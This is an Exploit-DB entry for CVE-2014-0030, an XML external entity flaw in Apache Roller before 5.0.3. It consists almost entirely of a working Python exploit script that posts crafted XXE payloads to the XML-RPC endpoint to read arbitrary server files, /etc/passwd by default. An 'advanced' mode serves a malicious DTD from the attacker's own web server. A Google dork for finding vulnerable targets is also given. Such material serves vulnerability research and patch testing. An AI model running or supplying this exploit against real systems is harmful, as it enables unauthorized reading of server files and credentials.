Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure)

EDB-ID:

45341




Platform:

Linux

Date:

2018-09-06


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# Exploit Title: Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure)
# Google Dork: intext:"apache roller weblogger version {vulnerable_version_number}"
# Date: 2018-09-05
# Exploit Author: Marko Jokic
# Contact: http://twitter.com/_MarkoJokic
# Vendor Homepage: http://roller.apache.org/
# Software Link: http://archive.apache.org/dist/roller/
# Version: < 5.0.3
# Tested on: Linux Ubuntu 14.04.1
# CVE : CVE-2014-0030

# This exploit lets you read almost any file on a vulnerable server via XXE vulnerability.
# There are two types of payload this exploit is able to use, 'SIMPLE' & 'ADVANCED'.
# 'SIMPLE' payload will work in most cases and will be used by default, if
# server errors out, use 'ADVANCED' payload.
# 'ADVANCED' payload will start local web server and serve malicious XML which
# will be parsed by a target server.
# To successfully perform attack with 'ADVANCED' payload, make sure that port
# you listen on (--lport flag) is accessible out of the network.

#!/usr/bin/env python

import SimpleHTTPServer
import SocketServer
import argparse
import sys
import threading
from xml.etree import ElementTree
import urllib3

import requests

SIMPLE_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file://{}">]>
<methodCall>
   <methodName>&xxe;</methodName>
</methodCall>
"""

ADVANCED_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file://{}">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "{}">
%dtd;
]>
<methodCall>
   <methodName>&all;</methodName>
</methodCall>
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write('<!ENTITY all "%start;%xxe;%end;">')

def check_exploit(host):
    response = requests.post(host + "/roller-services/xmlrpc", verify=False)
    if response.status_code == 200:
        return True
    return False

def exploit(host, payload):
    response = requests.post(host + "/roller-services/xmlrpc", data=payload, verify=False)
    xml_tree = ElementTree.fromstring(response.text)
    parsed_response = xml_tree.findall("fault/value/struct/member")[1][1].text
    print parsed_response

def start_web_server(port):
    handler = MyHandler
    httpd = SocketServer.TCPServer(('', port), handler, False)
    httpd.allow_reuse_address = True
    httpd.server_bind()
    httpd.server_activate()
    httpd.handle_request()
    httpd.shutdown()

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', metavar="URL", dest="url", required=True, help="Target URL")
    parser.add_argument('-f', metavar='FILE', dest="file", required=False, default="/etc/passwd", help="File to read from server")
    parser.add_argument('--lhost', required='--rport' in sys.argv, help="Your IP address for http web server")
    parser.add_argument('--lport', type=int, required='--rhost' in sys.argv, help="Port for web server to listen on")
    args = parser.parse_args()

    host = args.url
    full_file_path = args.file

    advanced = False
    lhost = args.lhost
    lport = args.lport

    if lport is not None and lport is not None:
        advanced = True

    check = check_exploit(host)

    if check:
        if advanced:
            th = threading.Thread(target=start_web_server, args=(lport,))
            th.daemon = True
            th.start()

            payload = ADVANCED_PAYLOAD.format(full_file_path, "http://{}:{}".format(lhost, lport))
        else:
            payload = SIMPLE_PAYLOAD.format(full_file_path)

        exploit(host, payload)
    else:
        print "[-] TARGET IS NOT VULNERABLE!"

main()